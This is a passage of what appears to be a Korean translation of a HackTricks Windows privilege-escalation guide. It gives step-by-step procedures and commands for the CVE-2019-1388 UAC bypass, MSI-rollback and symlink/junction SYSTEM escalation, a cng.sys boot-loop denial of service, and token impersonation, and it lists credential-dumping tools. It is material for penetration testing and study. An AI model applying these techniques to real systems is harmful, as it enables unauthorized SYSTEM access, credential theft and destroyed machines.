사용자 권한으로 셸을 획득했을 때, 예약된 작업이나 다른 프로세스들이 명령줄에 자격증명(credentials)을 전달하면서 실행되고 있을 수 있다. 아래 스크립트는 프로세스의 명령줄을 2초마다 캡처하고 현재 상태를 이전 상태와 비교하여 차이점을 출력한다.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

그래픽 인터페이스(via console or RDP)에 접근할 수 있고 UAC가 활성화되어 있는 경우, 일부 Microsoft Windows 버전에서는 권한이 없는 사용자로부터 터미널이나 “NT\AUTHORITY SYSTEM“과 같은 다른 프로세스를 실행할 수 있습니다.

이로 인해 동일한 취약점으로 권한 상승과 UAC 우회가 동시에 가능해집니다. 또한 아무 것도 설치할 필요가 없으며, 과정 중 사용되는 binary는 Microsoft가 서명하고 발행한 것입니다.

Some of the affected systems are the following:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

이 취약점을 악용하려면 다음 단계를 수행해야 합니다:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

이 공격은 기본적으로 Windows Installer의 rollback 기능을 악용해 정당한 파일을 제거(언인스톨 과정 중)하는 대신 악성 파일로 교체하는 방식입니다. 이를 위해 공격자는 C:\Config.Msi 폴더를 하이재킹하는 데 사용될 malicious MSI installer를 만들어야 하고, 이 폴더는 이후 다른 MSI 패키지의 언인스톨 과정 중 rollback 파일을 저장하는 데 Windows Installer가 사용하게 됩니다. rollback 파일이 악성 페이로드로 바뀌어 저장되도록 만듭니다.

요약된 기법은 다음과 같습니다:

1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

• Step 1: Install the MSI

• .msi를 만들어 쓰기 가능한 폴더(TARGETDIR)에 무해한 파일(예: dummy.txt)을 설치합니다.

• 인스톨러를 **“UAC Compliant”**로 표시하여 비관리자 사용자도 실행할 수 있게 합니다.

• 설치 후 파일에 대한 handle을 열린 상태로 유지합니다.

• Step 2: Begin Uninstall

• 동일한 .msi를 언인스톨합니다.

• 언인스톨 과정에서 파일들이 C:\Config.Msi로 이동되며 .rbf 파일로 이름이 바뀝니다(rollback 백업).

• 파일이 C:\Config.Msi\<random>.rbf가 되었는지 감지하기 위해 GetFinalPathNameByHandle로 열려 있는 파일 핸들을 폴링합니다.

• Step 3: Custom Syncing

• .msi에는 다음과 같은 **custom uninstall action (SyncOnRbfWritten)**이 포함되어 있습니다:

• .rbf가 써졌을 때 신호를 보냅니다.

• 그런 다음 언인스톨을 계속하기 전에 다른 이벤트를 기다립니다.

• Step 4: Block Deletion of .rbf

• 신호를 받으면 FILE_SHARE_DELETE 없이 .rbf 파일을 open하여 해당 파일이 삭제되는 것을 막습니다.

• 그런 다음 언인스톨이 완료되도록 다시 신호합니다.

• Windows Installer는 .rbf를 삭제하지 못하고, 모든 내용을 삭제할 수 없기 때문에 C:\Config.Msi가 제거되지 않습니다.

• Step 5: Manually Delete .rbf

• 당신(공격자)이 .rbf 파일을 수동으로 삭제합니다.

• 이제 C:\Config.Msi가 비어있게 되어, 하이재킹할 준비가 됩니다.

이 시점에서, C:\Config.Msi를 삭제하기 위해 SYSTEM-level arbitrary folder delete 취약점을 트리거하세요.

2. Stage 2 – Replacing Rollback Scripts with Malicious Ones

• Step 6: Recreate C:\Config.Msi with Weak ACLs

• 직접 C:\Config.Msi 폴더를 다시 만듭니다.

• 약한 DACL(예: Everyone:F)을 설정하고 WRITE_DAC 권한으로 handle을 열린 상태로 유지합니다.

• Step 7: Run Another Install

• 동일한 .msi를 아래와 같이 다시 설치합니다:

• TARGETDIR: 쓰기 가능한 위치.

• ERROROUT: 강제 실패를 유발하는 변수.

• 이 설치는 다시 rollback을 트리거하는 데 사용되며, rollback은 .rbs와 .rbf를 읽습니다.

• Step 8: Monitor for .rbs

• ReadDirectoryChangesW를 사용해 C:\Config.Msi를 모니터링하여 새로운 .rbs가 나타날 때까지 기다립니다.

• 그 파일명을 캡처합니다.

• Step 9: Sync Before Rollback

• .msi에는 다음과 같은 **custom install action (SyncBeforeRollback)**이 포함되어 있습니다:

• .rbs가 생성되면 이벤트를 신호합니다.

• 그런 다음 계속하기 전에 대기합니다.

• Step 10: Reapply Weak ACL

• .rbs created 이벤트를 받은 후:

• Windows Installer는 C:\Config.Msi에 대해 강한 ACL을 재적용합니다.

• 그러나 당신은 여전히 WRITE_DAC로 열린 handle을 가지고 있으므로 다시 약한 ACL을 적용할 수 있습니다.

ACL은 핸들 오픈 시에만 적용되므로, 여전히 폴더에 쓸 수 있습니다.

• Step 11: Drop Fake .rbs and .rbf

• .rbs 파일을 가짜 rollback script로 덮어써서 Windows에 다음을 지시합니다:

• 당신의 .rbf(악성 DLL)를 특권 위치(예: C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)로 복원하라고.

• SYSTEM 레벨 페이로드 DLL을 담은 가짜 .rbf를 배치합니다.

• Step 12: Trigger the Rollback

• 동기화 이벤트를 신호하여 인스톨러가 재개되도록 합니다.

• 알려진 지점에서 의도적으로 설치를 실패시키도록 구성된 **type 19 custom action (ErrorOut)**이 있습니다.

• 이것이 rollback을 시작하게 만듭니다.

• Step 13: SYSTEM Installs Your DLL

• Windows Installer는:

• 당신의 악성 .rbs를 읽고,

• 대상 위치에 당신의 .rbf DLL을 복사합니다.

• 이제 SYSTEM이 로드하는 경로에 악성 DLL이 설치됩니다.

• Final Step: Execute SYSTEM Code

• 당신이 하이재킹한 DLL을 로드하는 신뢰된 auto-elevated binary(예: osk.exe)를 실행합니다.

• Boom: 당신의 코드는 SYSTEM 권한으로 실행됩니다.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

메인 MSI rollback 기법(위의 방법)은 전체 폴더(예: C:\Config.Msi)를 삭제할 수 있다고 가정합니다. 하지만 취약점이 임의 파일 삭제만 허용한다면 어떻게 할까요?

NTFS 내부를 악용할 수 있습니다: 모든 폴더에는 다음과 같은 숨겨진 대체 데이터 스트림(alternate data stream)이 있습니다:

C:\SomeFolder::$INDEX_ALLOCATION

이 스트림은 폴더의 인덱스 메타데이터를 저장합니다.

따라서 폴더의 ::$INDEX_ALLOCATION 스트림을 삭제하면, NTFS는 파일 시스템에서 해당 폴더 전체를 제거합니다.

다음과 같은 표준 파일 삭제 API를 사용해 이 작업을 수행할 수 있습니다:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

파일 삭제 API를 호출하고 있음에도 불구하고, 그것은 폴더 자체를 삭제한다.

폴더 내용 삭제에서 SYSTEM EoP로

만약 primitive가 임의의 파일/폴더를 삭제할 수 없지만, 공격자가 제어하는 폴더의 내용물을 삭제할 수 있다면 어떻게 될까?

1. Step 1: 미끼 폴더와 파일 설정

• 생성: C:\temp\folder1
• 그 안에: C:\temp\folder1\file1.txt

2. Step 2: file1.txt에 oplock을 설정

• 해당 oplock은 특권 프로세스가 file1.txt를 삭제하려 할 때 실행을 일시중지한다.

// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();

3. 3단계: SYSTEM 프로세스 트리거(예: SilentCleanup)

• 이 프로세스는 폴더(예: %TEMP%)를 스캔하고 그 안의 내용을 삭제하려고 시도합니다.
• 해당 프로세스가 file1.txt에 도달하면, oplock triggers 가 발생하여 제어를 당신의 콜백으로 넘깁니다.

4. 4단계: oplock 콜백 내부 – 삭제 리다이렉트

• 옵션 A: file1.txt를 다른 곳으로 이동

• 이렇게 하면 folder1이 비워지며 oplock을 해제하지 않습니다.

• 직접 file1.txt를 삭제하지 마세요 — 그렇게 하면 oplock이 조기에 해제됩니다.

• 옵션 B: folder1를 junction으로 변환:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control

• 옵션 C: \RPC Control에 symlink를 생성:

# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

이것은 폴더 메타데이터를 저장하는 NTFS 내부 스트림을 겨냥한다 — 이를 삭제하면 폴더가 삭제된다.

5. 5단계: oplock 해제

• SYSTEM 프로세스는 계속되며 file1.txt 삭제를 시도한다.
• 하지만 이제 junction + symlink 때문에 실제로 삭제되는 것은:

C:\Config.Msi::$INDEX_ALLOCATION

결과: C:\Config.Msi는 SYSTEM에 의해 삭제됩니다.

임의 폴더 생성에서 영구 DoS로

해당 primitive를 악용하면 SYSTEM/admin 권한으로 임의의 폴더를 생성할 수 있습니다 — 설령 파일을 쓸 수 없거나 약한 권한을 설정할 수 없는 경우에도.

폴더(파일이 아님)를 중요한 Windows 드라이버의 이름으로 생성합니다. 예:

C:\Windows\System32\cng.sys

• 이 경로는 일반적으로 cng.sys 커널 모드 드라이버에 해당합니다.
• 이를 **폴더로 미리 생성(pre-create it as a folder)**하면, Windows는 부팅 시 실제 드라이버를 로드하지 못합니다.
• 그다음, Windows는 부팅 중에 cng.sys를 로드하려고 시도합니다.
• 폴더를 확인하면, 실제 드라이버를 해석하지 못해(fails to resolve the actual driver) 시스템이 크래시하거나 부팅이 중단됩니다.
• 대체 수단(no fallback)이 없으며 외부 개입(예: boot repair 또는 disk access) 없이는 복구가 불가능합니다.

From privileged log/backup paths + OM symlinks to arbitrary file overwrite / boot DoS

When a privileged service writes logs/exports to a path read from a writable config, redirect that path with Object Manager symlinks + NTFS mount points to turn the privileged write into an arbitrary overwrite (even without SeCreateSymbolicLinkPrivilege).

Requirements

• Config storing the target path is writable by the attacker (e.g., %ProgramData%\...\.ini).
• Ability to create a mount point to \RPC Control and an OM file symlink (James Forshaw symboliclink-testing-tools).
• A privileged operation that writes to that path (log, export, report).

Example chain

1. Read the config to recover the privileged log destination, e.g. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt in C:\ProgramData\ICONICS\IcoSetup64.ini.
2. Redirect the path without admin:

mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"

3. 권한 있는 구성요소가 로그를 기록할 때까지 기다립니다(예: admin이 “send test SMS“를 트리거). 해당 쓰기는 이제 C:\Windows\System32\cng.sys에 기록됩니다.
4. 덮어써진 대상을 (hex/PE parser) 검사하여 손상 여부를 확인합니다; 재부팅하면 Windows가 변조된 드라이버 경로를 로드하도록 강제되어 → boot loop DoS가 발생합니다. 이 기법은 권한 있는 서비스가 쓰기 위해 열어두는 모든 보호된 파일에도 일반화됩니다.

cng.sys은 일반적으로 C:\Windows\System32\drivers\cng.sys에서 로드되지만, C:\Windows\System32\cng.sys에 복사본이 존재하면 먼저 시도될 수 있어 손상된 데이터를 처리하는 신뢰할 수 있는 DoS 싱크가 됩니다.

High Integrity에서 System으로

새 서비스

이미 High Integrity 프로세스에서 실행 중이라면, SYSTEM으로 가는 경로는 새 서비스를 생성하고 실행하는 것만으로 쉽게 얻을 수 있습니다:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

서비스 바이너리를 만들 때에는 유효한 서비스이거나, 그렇지 않으면 20초 내에 프로세스가 종료되므로 필요한 동작을 빠르게 수행하는 바이너리인지 확인하세요.

AlwaysInstallElevated

High Integrity 프로세스에서 AlwaysInstallElevated 레지스트리 항목을 활성화하고 .msi 래퍼를 사용해 리버스 셸을 설치할 수 있습니다.
관련 레지스트리 키와 .msi 패키지 설치 방법에 대한 자세한 정보는 여기.

High + SeImpersonate privilege to System

You can find the code here.

From SeDebug + SeImpersonate to Full Token privileges

해당 토큰 권한을 가지고 있다면(보통 이미 High Integrity 프로세스에서 발견됩니다) SeDebug 권한으로 거의 모든 프로세스(보호된 프로세스 제외)를 열고, 해당 프로세스의 토큰을 복사한 뒤 그 토큰으로 임의의 프로세스를 생성할 수 있습니다.
이 기법은 보통 모든 토큰 권한을 가진 SYSTEM으로 실행 중인 프로세스를 선택해 사용합니다 (예, 모든 토큰 권한이 없는 SYSTEM 프로세스도 존재합니다).
제안된 기법을 실행하는 코드 예제는 여기에서 확인할 수 있습니다. 예제 코드 보기

Named Pipes

이 기법은 meterpreter가 getsystem으로 권한 상승할 때 사용합니다. 기법은 파이프를 생성한 후 서비스를 생성/남용하여 그 파이프에 쓰게 하는 것으로 구성됩니다. 그런 다음 SeImpersonate 권한으로 파이프를 생성한 서버는 파이프 클라이언트(서비스)의 토큰을 임퍼소네이트하여 SYSTEM 권한을 얻을 수 있습니다.
Named Pipes에 대해 더 배우려면 이것을 읽으세요.
High Integrity에서 Named Pipes를 사용해 System으로 상승하는 예제는 여기에서 읽을 수 있습니다.

Dll Hijacking

SYSTEM으로 실행되는 프로세스에 의해 로드되는 dll을 hijack할 수 있다면 해당 권한으로 임의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이 종류의 권한 상승에 유용하며, 특히 High Integrity 프로세스에서 더 쉽게 달성할 수 있는데, 이는 DLL을 로드하는 폴더에 대한 쓰기 권한을 가지기 때문입니다.
자세한 내용은 여기에서 확인하세요. Dll hijacking 더보기.

From Administrator or Network Service to System

• https://github.com/sailay1996/RpcSsImpersonator
• https://decoder.cloud/2020/05/04/from-network-service-to-system/
• https://github.com/decoder-it/NetworkServiceExploit

From LOCAL SERVICE or NETWORK SERVICE to full privs

읽기: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Windows 로컬 권한 상승 벡터를 찾기 위한 최고의 도구: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – 잘못된 구성 및 민감한 파일을 검사합니다 (여기 확인). 감지됨.
JAWS – 일부 가능한 잘못된 구성 점검 및 정보 수집(여기 확인).
privesc – 잘못된 구성 점검
SessionGopher – PuTTY, WinSCP, SuperPuTTY, FileZilla 및 RDP 저장 세션 정보를 추출합니다. 로컬에서는 -Thorough 옵션 사용.
Invoke-WCMDump – Credential Manager에서 자격 증명 추출. 감지됨.
DomainPasswordSpray – 수집한 비밀번호를 도메인에 대해 스프레이 공격
Inveigh – PowerShell 기반 ADIDNS/LLMNR/mDNS 스푸핑 및 중간자 공격 도구.
WindowsEnum – 기본적인 Windows 권한 상승용 열람 스크립트
Sherlock ~~~~ – 알려진 권한 상승 취약점 검색 (DEPRECATED for Watson)
WINspect – 로컬 검사 (관리자 권한 필요)

Exe

Watson – 알려진 권한 상승 취약점 검색 (VisualStudio로 컴파일 필요) (precompiled)
SeatBelt – 호스트를 열거해 잘못된 구성 검색 (정보 수집 도구에 더 가까움, 컴파일 필요) (precompiled)
LaZagne – 다양한 소프트웨어에서 자격 증명을 추출 (GitHub에 사전 컴파일된 exe 있음)
SharpUP – PowerUp의 C# 포트
Beroot ~~~~ – 잘못된 구성 검사 (GitHub에 실행 파일 사전 컴파일). 권장하지 않음. Win10에서 잘 작동하지 않음.
Windows-Privesc-Check – 가능한 잘못된 구성 점검 (python 기반 exe). 권장하지 않음. Win10에서 잘 작동하지 않음.

Bat

winPEASbat – 이 게시글을 기반으로 만든 도구(정상 동작을 위해 accesschk가 없어도 되지만 사용할 수 있음).

Local

Windows-Exploit-Suggester – systeminfo 출력값을 읽고 동작하는 익스플로잇을 추천 (로컬 python)
Windows Exploit Suggester Next Generation – systeminfo 출력값을 읽고 동작하는 익스플로잇을 추천 (로컬 python)

Meterpreter

multi/recon/local_exploit_suggestor

프로젝트는 올바른 버전의 .NET으로 컴파일해야 합니다 (see this). 대상 호스트에 설치된 .NET 버전을 확인하려면 다음을 실행할 수 있습니다:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

참고자료

• http://www.fuzzysecurity.com/tutorials/16.html

• http://www.greyhathacker.net/?p=738

• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html

• https://github.com/sagishahar/lpeworkshop

• https://www.youtube.com/watch?v=_8xJaaQlpBo

• https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

• https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

• https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md

• https://github.com/frizb/Windows-Privilege-Escalation

• https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

• https://github.com/frizb/Windows-Privilege-Escalation

• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus–detections

• 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM

• HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft

• Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows

• Unit 42 – Privileged File System Vulnerability Present in a SCADA System

• Symbolic Link Testing Tools – CreateSymlink usage

• A Link to the Past. Abusing Symbolic Links on Windows

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.